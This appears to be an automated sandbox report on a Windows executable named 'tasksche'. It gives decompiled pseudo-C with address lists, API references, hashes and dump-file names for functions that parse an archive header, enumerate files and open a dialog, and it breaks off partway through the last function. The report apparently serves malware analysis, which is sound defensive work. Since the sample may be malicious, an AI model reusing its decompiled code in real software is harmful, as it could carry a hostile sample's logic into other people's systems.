				void* _t470;
				void* _t473;
				void* _t474;
				intOrPtr _t481;
				void* _t482;
				void* _t484;
				void* _t485;
				signed int _t494;
				void* _t497;

				_t485 = _t484 - 0x50;
				E0041A4DC(E00429589, _t482);
				E0041AAF0(0x2070);
				_push(_t479);
				_t360 = __ecx;
				E0040B736(_t482 + 0x28, __ecx);
				_t466 = 0;
				 *((intOrPtr*)(_t482 - 4)) = 0;
				if( *((char*)(__ecx + 0xb05c)) == 0) {
					L7:
					 *((char*)(_t482 + 0x53)) = 0;
					L12:
					_t223 = E0040B4C8(_t482 + 0x28, _t466, 7); // executed
					__eflags = _t223 - 7;
					if(__eflags < 0) {
						L5:
						E00401C37(_t360, _t460, _t496);
						L6:
						_t497 =  *(_t482 + 0x28) - _t466;
						L88:
						if(_t497 != 0) {
							_push( *(_t482 + 0x28));
							E0041A506(_t360, _t466, _t479, _t497);
						}
						_t225 = 0;
						L91:
						 *[fs:0x0] =  *((intOrPtr*)(_t482 - 0xc));
						return _t225;
					}
					 *(_t360 + 0x655c) = 0;
					_t479 = _t360 + 0x654c;
					 *_t479 = E0040B5AF(_t482 + 0x28);
					_t466 = E0040B670(_t482 + 0x28, 4);
					_t229 = E0040B60D(_t460);
					__eflags = _t229 | _t460;
					if((_t229 | _t460) == 0) {
						L86:
						E00401C80(_t360);
						L87:
						__eflags =  *(_t482 + 0x28);
						goto L88;
					}
					__eflags = _t466;
					if(_t466 == 0) {
						goto L86;
					}
					_t231 = _t229 + _t466;
					_t30 = _t231 - 3; // -3
					_t374 = _t30;
					_t31 = _t231 + 4; // 0x4
					_t466 = _t31;
					__eflags = _t374;
					if(_t374 < 0) {
						goto L86;
					}
					__eflags = _t466 - 7;
					if(_t466 < 7) {
						goto L86;
					}
					_t232 = E0040B4C8(_t482 + 0x28, _t466, _t374);
					__eflags =  *((intOrPtr*)(_t482 + 0x3c)) - _t466;
					if(__eflags >= 0) {
						 *(_t482 + 0x4c) = E0040B716(_t232, _t482 + 0x28);
						 *((intOrPtr*)(_t360 + 0x6550)) = E0040B60D(_t460);
						_t235 = E0040B60D(_t460);
						 *(_t360 + 0x6554) = _t235;
						 *(_t360 + 0x655c) = _t235 >> 0x00000002 & 0x00000001;
						 *((intOrPtr*)(_t360 + 0x6544)) =  *((intOrPtr*)(_t360 + 0x6550));
						__eflags =  *_t479 -  *(_t482 + 0x4c);
						 *(_t360 + 0x6558) = _t466;
						 *((char*)(_t482 + 0x4b)) =  *_t479 !=  *(_t482 + 0x4c);
						__eflags =  *((char*)(_t482 + 0x4b));
						if( *((char*)(_t482 + 0x4b)) == 0) {
							L22:
							_t466 = 0;
							__eflags =  *(_t360 + 0x6554) & 0x00000001;
							 *(_t482 + 0x18) = 0;
							 *(_t482 + 0x1c) = 0;
							if(( *(_t360 + 0x6554) & 0x00000001) == 0) {
								L27:
								__eflags =  *(_t360 + 0x6554) & 0x00000002;
								 *(_t482 + 0x20) = _t466;
								 *(_t482 + 0x24) = _t466;
								if(( *(_t360 + 0x6554) & 0x00000002) != 0) {
									 *(_t482 + 0x20) = E0040B60D(_t460);
									 *(_t482 + 0x24) = _t460;
								}
								_t240 = E004010D4(_t360,  *(_t360 + 0x6558));
								asm("adc ecx, [ebx+0xb044]");
								asm("adc ecx, [ebp+0x24]");
								 *((intOrPtr*)(_t360 + 0xb048)) = _t240 +  *((intOrPtr*)(_t360 + 0xb040)) +  *(_t482 + 0x20);
								_t243 =  *((intOrPtr*)(_t360 + 0x6550));
								 *((intOrPtr*)(_t360 + 0xb04c)) = 0;
								__eflags = _t243 - 1;
								if(__eflags == 0) {
									_t468 = _t360 + 0x6570;
									E00409B19(_t468);
									_t382 = 5;
									memcpy(_t468, _t479, _t382 << 2);
									_t466 = _t479 + _t382 + _t382;
									_t246 = E0040B60D(_t460);
									 *(_t360 + 0xb055) = _t246 & 0x00000001;
									 *(_t360 + 0xb054) = _t246 >> 0x00000002 & 0x00000001;
									 *(_t360 + 0xb057) = _t246 >> 0x00000004 & 0x00000001;
									 *(_t360 + 0xb05b) = _t246 >> 0x00000003 & 0x00000001;
									 *((char*)(_t360 + 0xb058)) = 0;
									 *((char*)(_t360 + 0xb05a)) = 1;
									__eflags = _t246 & 0x00000002;
									if((_t246 & 0x00000002) == 0) {
										_t198 = _t360 + 0xb078;
										 *_t198 =  *(_t360 + 0xb078) & 0x00000000;
										__eflags =  *_t198;
									} else {
										 *(_t360 + 0xb078) = E0040B60D(_t460);
									}
									__eflags =  *(_t360 + 0xb055);
									if( *(_t360 + 0xb055) == 0) {
										L77:
										_t247 = 0;
										__eflags = 0;
										goto L78;
									} else {
										__eflags =  *(_t360 + 0xb078);
										if( *(_t360 + 0xb078) != 0) {
											goto L77;
										}
										_t247 = 1;
										L78:
										 *((char*)(_t360 + 0xb059)) = _t247;
										__eflags =  *(_t482 + 0x18) |  *(_t482 + 0x1c);
										if(( *(_t482 + 0x18) |  *(_t482 + 0x1c)) != 0) {
											_push(_t360 + 0x6570);
											_push( *(_t482 + 0x18));
											_push(_t482 + 0x28);
											E0040272E(_t360, _t460);
										}
										L80:
										__eflags =  *((intOrPtr*)(_t360 + 0xb04c)) -  *((intOrPtr*)(_t360 + 0xb044));
										if(__eflags > 0) {
											L83:
											__eflags =  *(_t482 + 0x28);
											_t481 =  *((intOrPtr*)(_t482 + 0x3c));
											if(__eflags != 0) {
												_push( *(_t482 + 0x28));
												E0041A506(_t360, _t466, _t481, __eflags);
											}
											_t225 = _t481;
											goto L91;
										}
										if(__eflags < 0) {
											goto L86;
										}
										__eflags =  *((intOrPtr*)(_t360 + 0xb048)) -  *((intOrPtr*)(_t360 + 0xb040));
										if( *((intOrPtr*)(_t360 + 0xb048)) <=  *((intOrPtr*)(_t360 + 0xb040))) {
											goto L86;
										}
										goto L83;
									}
								}
								if(__eflags <= 0) {
									goto L80;
								}
								__eflags = _t243 - 3;
								if(_t243 <= 3) {
									__eflags = _t243 - 2;
									_t258 = _t360 + 0x65e8;
									if(_t243 != 2) {
										_t258 = _t360 + 0x8928;
									}
									_t470 = _t258;
									 *(_t482 + 0x4c) = _t258;
									E00409B44(_t470, 0);
									_t400 = 5;
									_t261 = memcpy(_t470, _t479, _t400 << 2);
									__eflags =  *((intOrPtr*)(_t360 + 0x6550)) - 2;
									_t479 =  *(_t482 + 0x4c);
									 *(_t479 + 0x1048) = _t261;
									 *((char*)(_t482 + 0x53)) =  *((intOrPtr*)(_t360 + 0x6550)) == 2;
									 *((char*)(_t479 + 0x10e9)) = 1;
									 *(_t479 + 0x104c) =  *(_t482 + 0x24);
									 *(_t479 + 0x1084) = E0040B60D(_t460);
									 *(_t479 + 0x1050) = E0040B60D(_t460);
									_t267 =  *(_t479 + 0x1084) >> 0x00000003 & 0x00000001;
									__eflags = _t267;
									 *(_t479 + 0x1054) = _t460;
									 *(_t479 + 0x108a) = _t267;
									if(_t267 != 0) {
										 *(_t479 + 0x1050) = 0x7fffffff;
										 *(_t479 + 0x1054) = 0x7fffffff;
									}
									_t268 =  *(_t479 + 0x104c);
									_t404 =  *(_t479 + 0x1054);
									__eflags = _t268 - _t404;
									_t461 =  *(_t479 + 0x1048);
									_t473 =  *(_t479 + 0x1050);
									if(__eflags < 0) {
										L48:
										_t461 = _t473;
										_t268 = _t404;
										goto L49;
									} else {
										if(__eflags > 0) {
											L49:
											 *(_t479 + 0x1058) = _t461;
											 *(_t479 + 0x105c) = _t268;
											_t269 = E0040B60D(_t461);
											__eflags =  *(_t479 + 0x1084) & 0x00000002;
											 *((intOrPtr*)(_t479 + 0x1c)) = _t269;
											if(( *(_t479 + 0x1084) & 0x00000002) != 0) {
												E00411357(_t479 + 0x1030, _t461, E0040B5AF(_t482 + 0x28), 0);
											}
											_t270 = _t479 + 0x1060;
											 *_t270 =  *_t270 & 0x00000000;
											__eflags =  *(_t479 + 0x1084) & 0x00000004;
											if(( *(_t479 + 0x1084) & 0x00000004) != 0) {
												 *_t270 = 2;
												 *((intOrPtr*)(_t479 + 0x1064)) = E0040B5AF(_t482 + 0x28);
											}
											 *(_t479 + 0x10f0) =  *(_t479 + 0x10f0) & 0x00000000;
											_t271 = E0040B60D(_t461);
											 *(_t482 + 0x4c) = _t271;
											 *(_t479 + 0x1a) = _t271 >> 0x00000007 & 0x00000007;
											 *(_t479 + 0x19) = _t271 & 0x0000003f;
											 *((char*)(_t479 + 0x18)) = E0040B60D(_t461);
											_t274 = E0040B60D(_t461);
											_t462 =  *((intOrPtr*)(_t479 + 0x18));
											_t474 = _t274;
											_t412 = _t479 + 0x10ec;
											 *(_t479 + 0x10e8) =  *(_t360 + 0x6554) >> 0x00000006 & 0x00000001;
											 *_t412 = 2;
											__eflags = _t462 - 1;
											if(_t462 != 1) {
												__eflags = _t462;
												if(_t462 == 0) {
													 *_t412 =  *_t412 & 0x00000000;
													__eflags =  *_t412;
												}
											} else {
												 *_t412 = 1;
											}
											_t413 =  *(_t479 + 8);
											 *(_t479 + 0x1088) = _t413 >> 0x00000003 & 0x00000001;
											__eflags =  *((char*)(_t482 + 0x53));
											 *(_t479 + 0x1089) = _t413 >> 0x00000004 & 0x00000001;
											 *(_t479 + 0x10ea) = _t413 >> 0x00000005 & 0x00000001;
											if( *((char*)(_t482 + 0x53)) == 0) {
												L60:
												_t416 = 0;
												__eflags = 0;
												goto L61;
											} else {
												__eflags =  *(_t482 + 0x4c) & 0x00000040;
												if(( *(_t482 + 0x4c) & 0x00000040) == 0) {
													goto L60;
												}
												_t416 = 1;
												L61:
												 *((char*)(_t479 + 0x10e0)) = _t416;
												_t464 =  *(_t479 + 0x1084) & 0x00000001;
												asm("sbb ecx, ecx");
												asm("sbb eax, eax");
												 *(_t479 + 0x10e4) =  !( ~(_t464 & 0x000000ff)) & 0x00020000 << ( *(_t482 + 0x4c) >> 0x0000000a & 0x0000000f);
												 *(_t479 + 0x10e1) = _t464;
												 *(_t479 + 0x108c) =  ~( *(_t479 + 0x108b) & 0x000000ff) & 0x00000005;
												__eflags = _t474 - 0x1fff;
												if(_t474 >= 0x1fff) {
													_t474 = 0x1fff;
												}
												E0040B696(_t482 + 0x28, _t482 - 0x207c, _t474);
												 *((char*)(_t482 + _t474 - 0x207c)) = 0;
												_t466 = _t479 + 0x20;
												E00411CD1(_t482 + 0x28, _t482 - 0x207c, _t479 + 0x20, 0x800);
												__eflags =  *(_t482 + 0x18) |  *(_t482 + 0x1c);
												if(( *(_t482 + 0x18) |  *(_t482 + 0x1c)) != 0) {
													_push(_t479);
													_push( *(_t482 + 0x18));
													_push(_t482 + 0x28);
													E0040272E(_t360, _t464);
												}
												__eflags =  *((char*)(_t482 + 0x53));
												if( *((char*)(_t482 + 0x53)) == 0) {
													_t295 = E0041AA21(_t466, "CMT");
													__eflags = _t295;
													if(_t295 == 0) {
														 *((char*)(_t360 + 0xb056)) = 1;
													}
												} else {
													E00401A7E(_t360, _t479);
												}
												__eflags =  *((char*)(_t482 + 0x4b));
												if( *((char*)(_t482 + 0x4b)) != 0) {
													E0040639F(0x1a, _t360 + 0x1e, _t466);
												}
												goto L80;
											}
										}
										__eflags = _t461 - _t473;
										if(_t461 > _t473) {
											goto L49;
										}
										goto L48;
									}
								}
								__eflags = _t243 - 4;
								if(_t243 == 4) {
									_t434 = 5;
									memcpy(_t360 + 0x65b0, _t479, 0 << 2);
									_t466 = _t479 + _t434 + _t434;
									_t306 = E0040B60D(_t460);
									__eflags = _t306;
									if(_t306 <= 0) {
										 *(_t360 + 0x65c4) = E0040B60D(_t460) & 0x00000001;
										_t310 = E0040B562(_t482 + 0x28) & 0x000000ff;
										 *(_t360 + 0x65c8) = _t310;
										__eflags = _t310 - 0x18;
										if(_t310 > 0x18) {
											goto L36;
										}
										E0040B696(_t482 + 0x28, _t360 + 0x65cc, 0x10);
										__eflags =  *(_t360 + 0x65c4);
										if( *(_t360 + 0x65c4) != 0) {
											_t479 = _t360 + 0x65dc;
											E0040B696(_t482 + 0x28, _t360 + 0x65dc, 8);
											E0040B696(_t482 + 0x28, _t482 + 0x4c, 4);
											E004106AE(_t482 - 0x7c);
											E004109B0(_t482 - 0x7c, _t360 + 0x65dc, 8);
											E00410A29(_t482 + 0x28, _t460, __eflags, _t482 - 0x7c, _t482);
											_t327 = E0041AC04(_t482 + 0x4c, _t482, 4);
											asm("sbb al, al");
											_t329 =  ~_t327 + 1;
											__eflags = _t329;
											 *(_t360 + 0x65c4) = _t329;
										}
										 *((char*)(_t360 + 0xb05c)) = 1;
										goto L80;
									}
									L36:
									E00401CA3(_t360, _t360 + 0x1e);
									goto L87;
								}
								__eflags = _t243 - 5;
								if(_t243 == 5) {
									_t443 = _t243;
									memcpy(_t360 + 0x88e8, _t479, 0 << 2);
									_t466 = _t479 + _t443 + _t443;
									 *(_t360 + 0x8904) = E0040B60D(_t460) & 0x00000001;
									 *((char*)(_t360 + 0x8907)) = 0;
									 *((char*)(_t360 + 0x8905)) = 0;
									 *((char*)(_t360 + 0x8906)) = 0;
								}
								goto L80;
							}
							 *(_t482 + 0x18) = E0040B60D(_t460);
							_t335 =  *(_t360 + 0x6558);
							 *(_t482 + 0x1c) = _t460;
							__eflags = _t460;
							if(__eflags < 0) {
								goto L27;
							}
							if(__eflags > 0) {
								L26:
								E00401C80(_t360);
								goto L6;
							}
							__eflags =  *(_t482 + 0x18) - _t335;
							if(__eflags < 0) {
								goto L27;
							}
							goto L26;
						}
						E00401C80(_t360);
						 *((char*)(_t360 + 0xb064)) = 1;
						E004062BA(0x4335ac, 3);
						__eflags =  *((char*)(_t482 + 0x53));
						if( *((char*)(_t482 + 0x53)) == 0) {
							goto L22;
						} else {
							E0040639F(4, _t360 + 0x1e, _t360 + 0x1e);
							 *((char*)(_t360 + 0xb065)) = 1;
							goto L87;
						}
					} else {
						E00401C37(_t360, _t460, __eflags);
						goto L87;
					}
				}
				_t460 =  *(__ecx + 0xb044);
				_t343 =  *((intOrPtr*)(__ecx + 0xb060)) + 8;
				asm("adc ecx, edi");
				_t494 = _t460;
				if(_t494 < 0 || _t494 <= 0 &&  *((intOrPtr*)(__ecx + 0xb040)) <= _t343) {
					goto L7;
				} else {
					 *((char*)(_t482 + 0x53)) = 1;
					E00401BBB(_t360);
					_t346 =  *((intOrPtr*)( *_t360 + 8))(_t482 + 0x10, 0x10);
					_t496 = _t346 - 0x10;
					if(_t346 == 0x10) {
						_t479 = _t360 + 0x1024;
						E00405FE7(_t479, _t460, _t466, 5,  *((intOrPtr*)(_t360 + 0x6524)) + 0x4024, _t360 + 0x65cc, _t482 + 0x10,  *(_t360 + 0x65c8), _t466, _t482 + 0x20);
						__eflags =  *(_t360 + 0x65c4);
						if( *(_t360 + 0x65c4) == 0) {
							L11:
							 *(_t482 + 0x44) = _t479;
							goto L12;
						}
						_t355 = E0041AC04(_t482 + 0x20, _t360 + 0x65dc, 8);
						_t485 = _t485 + 0xc;
						__eflags = _t355;
						if(_t355 == 0) {
							goto L11;
						} else {
							E00406376(6, _t360 + 0x1e);
							 *((char*)(_t360 + 0xb065)) = 1;
							E004062BA(0x4335ac, 0xb);
							goto L6;
						}
					}
					goto L5;
				}
			}

0x00402f2d
0x00402f35
0x00402f3f
0x00402f45
0x00402f46
0x00402f4d
0x00402f52
0x00402f5b
0x00402f5e
0x00402faf
0x00402faf
0x0040302f
0x00403034
0x00403039
0x0040303c
0x00402fa0
0x00402fa2
0x00402fa7
0x00402fa7
0x00403680
0x00403680
0x00403682
0x00403685
0x0040368a
0x0040368b
0x0040368d
0x00403693
0x0040369e
0x0040369e
0x00403045
0x0040304c
0x0040305c
0x00403066
0x00403068
0x0040306f
0x00403071
0x00403675
0x00403677
0x0040367c
0x0040367c
0x00000000
0x0040367c
0x00403077
0x00403079
0x00000000
0x00000000
0x0040307f
0x00403081
0x00403081
0x00403084
0x00403084
0x00403087
0x00403089
0x00000000
0x00000000
0x0040308f
0x00403092
0x00000000
0x00000000
0x0040309c
0x004030a1
0x004030a4
0x004030bd
0x004030c8
0x004030ce
0x004030d3
0x004030de
0x004030ea
0x004030f3
0x004030f5
0x004030fb
0x004030ff
0x00403103
0x0040313d
0x0040313d
0x0040313f
0x00403146
0x00403149
0x0040314c
0x0040317b
0x0040317b
0x00403182
0x00403185
0x00403188
0x00403192
0x00403195
0x00403195
0x004031a0
0x004031ad
0x004031b6
0x004031b9
0x004031bf
0x004031c5
0x004031cb
0x004031ce
0x0040358d
0x00403595
0x0040359c
0x0040359d
0x0040359d
0x004035a2
0x004035ac
0x004035ba
0x004035c8
0x004035d6
0x004035dc
0x004035e3
0x004035ea
0x004035ec
0x004035fe
0x004035fe
0x004035fe
0x004035ee
0x004035f6
0x004035f6
0x00403605
0x0040360c
0x0040361c
0x0040361c
0x0040361c
0x00000000
0x0040360e
0x0040360e
0x00403615
0x00000000
0x00000000
0x00403619
0x0040361e
0x0040361e
0x00403627
0x0040362a
0x00403632
0x00403633
0x00403639
0x0040363c
0x0040363c
0x00403641
0x00403647
0x0040364d
0x0040365f
0x0040365f
0x00403663
0x00403666
0x00403668
0x0040366b
0x00403670
0x00403671
0x00000000
0x00403671
0x0040364f
0x00000000
0x00000000
0x00403657
0x0040365d
0x00000000
0x00000000
0x00000000
0x0040365d
0x0040360c
0x004031d4
0x00000000
0x00000000
0x004031da
0x004031dd
0x004032f7
0x004032fa
0x00403300
0x00403302
0x00403302
0x00403308
0x0040330e
0x00403311
0x0040331b
0x0040331c
0x0040331e
0x00403325
0x00403328
0x00403334
0x00403338
0x0040333f
0x0040334d
0x00403358
0x00403367
0x00403367
0x00403369
0x0040336f
0x00403375
0x0040337c
0x00403382
0x00403382
0x00403388
0x0040338e
0x00403394
0x00403396
0x0040339c
0x004033a2
0x004033aa
0x004033aa
0x004033ac
0x00000000
0x004033a4
0x004033a4
0x004033ae
0x004033b1
0x004033b7
0x004033bd
0x004033c2
0x004033c9
0x004033cc
0x004033df
0x004033df
0x004033e4
0x004033ea
0x004033ed
0x004033f4
0x004033f9
0x00403404
0x00403404
0x0040340a
0x00403414
0x00403421
0x00403424
0x0040342c
0x00403437
0x0040343a
0x0040343f
0x00403442
0x0040344f
0x00403455
0x0040345b
0x00403461
0x00403464
0x0040346e
0x00403470
0x00403472
0x00403472
0x00403472
0x00403466
0x00403466
0x00403466
0x00403475
0x0040347f
0x00403492
0x00403496
0x0040349c
0x004034a2
0x004034af
0x004034af
0x004034af
0x00000000
0x004034a4
0x004034a4
0x004034a8
0x00000000
0x00000000
0x004034ac
0x004034b1
0x004034b7
0x004034c6
0x004034d5
0x004034e4
0x004034e6
0x004034f4
0x004034fa
0x00403500
0x00403502
0x00403504
0x00403504
0x00403511
0x00403516
0x00403523
0x0040352e
0x00403536
0x00403539
0x0040353b
0x0040353c
0x00403542
0x00403545
0x00403545
0x0040354a
0x0040354e
0x00403560
0x00403567
0x00403569
0x0040356b
0x0040356b
0x00403550
0x00403553
0x00403553
0x00403572
0x00403576
0x00403583
0x00403583
0x00000000
0x00403576
0x004034a2
0x004033a6
0x004033a8
0x00000000
0x00000000
0x00000000
0x004033a8
0x004033a2
0x004031e3
0x004031e6
0x00403227
0x0040322e
0x0040322e
0x00403233
0x00403238
0x0040323a
0x00403259
0x00403264
0x00403267
0x0040326d
0x00403270
0x00000000
0x00000000
0x0040327e
0x00403283
0x0040328a
0x0040328e
0x00403298
0x004032a6
0x004032af
0x004032bb
0x004032c8
0x004032d7
0x004032e1
0x004032e3
0x004032e3
0x004032e5
0x004032e5
0x004032eb
0x00000000
0x004032eb
0x0040323c
0x00403242
0x00000000
0x00403242
0x004031e8
0x004031eb
0x004031f2
0x004031f9
0x004031f9
0x00403205
0x0040320b
0x00403212
0x00403219
0x00403219
0x00000000
0x004031eb
0x00403158
0x0040315b
0x00403161
0x00403164
0x00403166
0x00000000
0x00000000
0x00403168
0x0040316f
0x00403171
0x00000000
0x00403171
0x0040316a
0x0040316d
0x00000000
0x00000000
0x00000000
0x0040316d
0x00403107
0x00403113
0x0040311a
0x0040311f
0x00403123
0x00000000
0x00403125
0x0040312c
0x00403131
0x00000000
0x00403131
0x004030a6
0x004030a8
0x00000000
0x004030a8
0x004030a4
0x00402f66
0x00402f6e
0x00402f71
0x00402f73
0x00402f75
0x00000000
0x00402f83
0x00402f85
0x00402f89
0x00402f98
0x00402f9b
0x00402f9e
0x00402fd9
0x00402fe2
0x00402fe7
0x00402fee
0x0040302c
0x0040302c
0x00000000
0x0040302c
0x00402ffd
0x00403002
0x00403005
0x00403007
0x00000000
0x00403009
0x0040300f
0x0040301b
0x00403022
0x00000000
0x00403022
0x00403007
0x00000000
0x00402f9e

APIs

__EH_prolog.LIBCMT ref: 00402F35
_memcmp.LIBCMT ref: 00402FFD
_memcmp.LIBCMT ref: 004032D7

Strings

@, xrefs: 004034A4
CMT, xrefs: 0040355A

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memcmp$H_prolog
String ID: @$CMT
API String ID: 212800410-3935043585
Opcode ID: f7efa0f1f901984cc3855dbe14d8362dcde98928de1018f3c2431534fcf72b9a
Instruction ID: 4535b6ba2d5654eb70152741eafeedd3820f65e0183003bc7b62017ff8f1088e
Opcode Fuzzy Hash: f7efa0f1f901984cc3855dbe14d8362dcde98928de1018f3c2431534fcf72b9a
Instruction Fuzzy Hash: 252215715006849FDB24DF24C891BDA3BE5AF14308F08057FED4AEB2C6DB799588CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00409476 Relevance: 7.6, APIs: 5, Instructions: 111
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00409476(intOrPtr __edx, signed int _a4, WCHAR* _a8, intOrPtr _a12) {
				intOrPtr _v572;
				intOrPtr _v580;
				intOrPtr _v588;
				struct _WIN32_FIND_DATAW _v596;
				short _v4692;
				signed int _t51;
				signed int _t57;
				signed int _t71;
				void* _t73;
				long _t76;
				char _t77;
				void* _t81;
				intOrPtr _t87;
				intOrPtr _t90;

				_t87 = __edx;
				E0041AAF0(0x1250);
				_t90 = _a12;
				_push( &_v596);
				if(_a4 != 0xffffffff) {
					_t51 = FindNextFileW(_a4, ??);
					__eflags = _t51;
					if(_t51 == 0) {
						_a4 = _a4 | 0xffffffff;
						_t71 = GetLastError();
						__eflags = _t71 - 0x12;
						_t16 = _t71 != 0x12;
						__eflags = _t16;
						 *((char*)(_t90 + 0x1044)) = _t71 & 0xffffff00 | _t16;
					}
					__eflags = _a4 - 0xffffffff;
					if(_a4 != 0xffffffff) {
						goto L13;
					}
				} else {
					_t73 = FindFirstFileW(_a8, ??); // executed
					_a4 = _t73;
					if(_t73 != 0xffffffff) {
						L13:
						E00410B9C(_t90, _a8, 0x800);
						_push(0x800);
						E0040A745(__eflags, _t90,  &(_v596.cFileName));
						_t57 = E0041ABD0(_v596.nFileSizeHigh, 0, 0, 1) + _v596.nFileSizeLow;
						__eflags = _t57;
						 *(_t90 + 0x1000) = _t57;
						 *(_t90 + 0x1008) = _v596.dwFileAttributes;
						 *((intOrPtr*)(_t90 + 0x1028)) = _v596.ftCreationTime;
						 *((intOrPtr*)(_t90 + 0x102c)) = _v588;
						 *((intOrPtr*)(_t90 + 0x1030)) = _v596.ftLastAccessTime;
						 *((intOrPtr*)(_t90 + 0x1034)) = _v580;
						 *((intOrPtr*)(_t90 + 0x1038)) = _v596.ftLastWriteTime;
						 *((intOrPtr*)(_t90 + 0x103c)) = _v572;
						asm("adc edx, edi");
						 *((intOrPtr*)(_t90 + 0x1004)) = _t87;
						E00411333(_t90 + 0x1010,  &(_v596.ftLastWriteTime));
						E00411333(_t90 + 0x1018,  &(_v596.ftCreationTime));
						E00411333(_t90 + 0x1020,  &(_v596.ftLastAccessTime));
					} else {
						if(E0040A3DC(_a8,  &_v4692, 0x800) == 0) {
							L4:
							_t76 = GetLastError();
							if(_t76 == 2 || _t76 == 3 || _t76 == 0x12) {
								_t77 = 0;
								__eflags = 0;
							} else {
								_t77 = 1;
							}
							 *((char*)(_t90 + 0x1044)) = _t77;
						} else {
							_t81 = FindFirstFileW( &_v4692,  &_v596);
							_a4 = _t81;
							if(_t81 != 0xffffffff) {
								goto L13;
							} else {
								goto L4;
							}
						}
					}
				}
				 *(_t90 + 0x1040) =  *(_t90 + 0x1040) & 0x00000000;
				return _a4;
			}

0x00409476
0x0040947e
0x00409489
0x00409498
0x00409499
0x00409508
0x0040950e
0x00409510
0x00409512
0x00409516
0x0040951c
0x0040951f
0x0040951f
0x00409522
0x00409522
0x00409528
0x0040952c
0x00000000
0x00000000
0x0040949b
0x004094a4
0x004094a6
0x004094ac
0x00409532
0x00409537
0x0040953c
0x00409545
0x00409563
0x00409563
0x00409565
0x00409571
0x0040957d
0x00409589
0x00409595
0x004095a1
0x004095ad
0x004095b9
0x004095c5
0x004095ce
0x004095d4
0x004095e6
0x004095f8
0x004094b2
0x004094c4
0x004094de
0x004094de
0x004094e7
0x004094f8
0x004094f8
0x004094f3
0x004094f5
0x004094f5
0x004094fa
0x004094c6
0x004094d4
0x004094d6
0x004094dc
0x00000000
0x00000000
0x00000000
0x00000000
0x004094dc
0x004094c4
0x004094ac
0x004095fd
0x0040960b

APIs

FindFirstFileW.KERNELBASE(?,?,00000800,?,?,?,004096E5,000000FF,?,?,?,?,00408411,?,?,00000000), ref: 004094A4
FindFirstFileW.KERNEL32(?,?,?,?,00000800,?,004096E5,000000FF,?,?,?,?,00408411,?,?,00000000), ref: 004094D4
GetLastError.KERNEL32(?,?,00000800,?,004096E5,000000FF,?,?,?,?,00408411,?,?,00000000,?,00000800), ref: 004094DE
FindNextFileW.KERNEL32(000000FF,?,00000800,?,?,?,004096E5,000000FF,?,?,?,?,00408411,?,?,00000000), ref: 00409508
GetLastError.KERNEL32(?,004096E5,000000FF,?,?,?,?,00408411,?,?,00000000,?,00000800), ref: 00409516

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: 2a733cbadd2ca7cd29a11b90f53c863ddd5810a24544a1ec061ee6039bd7df5a
Instruction ID: 852f22f8762d0aaf1b59ecd7198268998001e7cc0733578d9edc4610c3c70bd0
Opcode Fuzzy Hash: 2a733cbadd2ca7cd29a11b90f53c863ddd5810a24544a1ec061ee6039bd7df5a
Instruction Fuzzy Hash: 2E414071500648ABCB21DF29CC84ADA77F8AF48350F10466AF9AEE2291D774AEC1DB14

Uniqueness

Uniqueness Score: -1.00%

Function 0040F58D Relevance: 112.7, APIs: 55, Strings: 9, Instructions: 691
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0040F58D(void* __ecx, void* __edx, void* __eflags, void* __fp0) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t112;
				void* _t114;
				long _t115;
				long _t116;
				struct HWND__* _t118;
				WCHAR* _t123;
				void* _t127;
				int _t128;
				void* _t145;
				void* _t148;
				WCHAR* _t154;
				signed int _t161;
				struct HWND__* _t164;
				void* _t175;
				void* _t178;
				void* _t180;
				struct HWND__* _t187;
				intOrPtr _t195;
				WCHAR* _t196;
				long _t201;
				void* _t223;
				void* _t225;
				void* _t235;
				void* _t247;
				long _t249;
				long _t250;
				long _t251;
				signed int _t256;
				int _t260;
				int _t262;
				void* _t267;
				void* _t271;
				intOrPtr _t289;
				intOrPtr _t290;
				int _t303;
				long _t308;
				void* _t312;
				struct HWND__* _t316;
				void* _t318;
				void* _t320;
				void* _t325;

				_t325 = __fp0;
				_t299 = __edx;
				_t283 = __ecx;
				E0041A4DC(E004297DB, _t318);
				E0041AAF0(0x9c94);
				_t316 =  *(_t318 + 8);
				_t112 = E004060EE(__edx, _t316,  *(_t318 + 0xc),  *(_t318 + 0x10),  *(_t318 + 0x14), L"STARTDLG", 0, 0); // executed
				if(_t112 == 0) {
					_t114 =  *(_t318 + 0xc) - 0x110;
					__eflags = _t114;
					if(_t114 == 0) {
						_t115 =  *0x43981c;
						 *0x441840 = _t316;
						 *0x441844 = _t316;
						__eflags = _t115;
						if(_t115 != 0) {
							SendMessageW(_t316, 0x80, 1, _t115); // executed
						}
						_t116 =  *0x439818;
						__eflags = _t116;
						if(__eflags != 0) {
